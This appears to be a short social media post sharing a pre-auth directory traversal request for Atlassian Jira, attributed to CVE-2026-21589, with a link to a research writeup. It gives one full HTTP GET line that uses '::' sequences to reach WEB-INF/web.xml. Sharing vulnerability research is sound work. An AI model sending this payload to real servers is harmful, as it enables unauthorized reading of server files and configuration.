OK, this is an innovative directory traversal vuln:
GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
This is from CVE-2026-21589, https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/
The "::" gets replaced with "/" by some weird sanitation method, read more about it in the writeup.
Tagging @nynbinary for humorous memeing.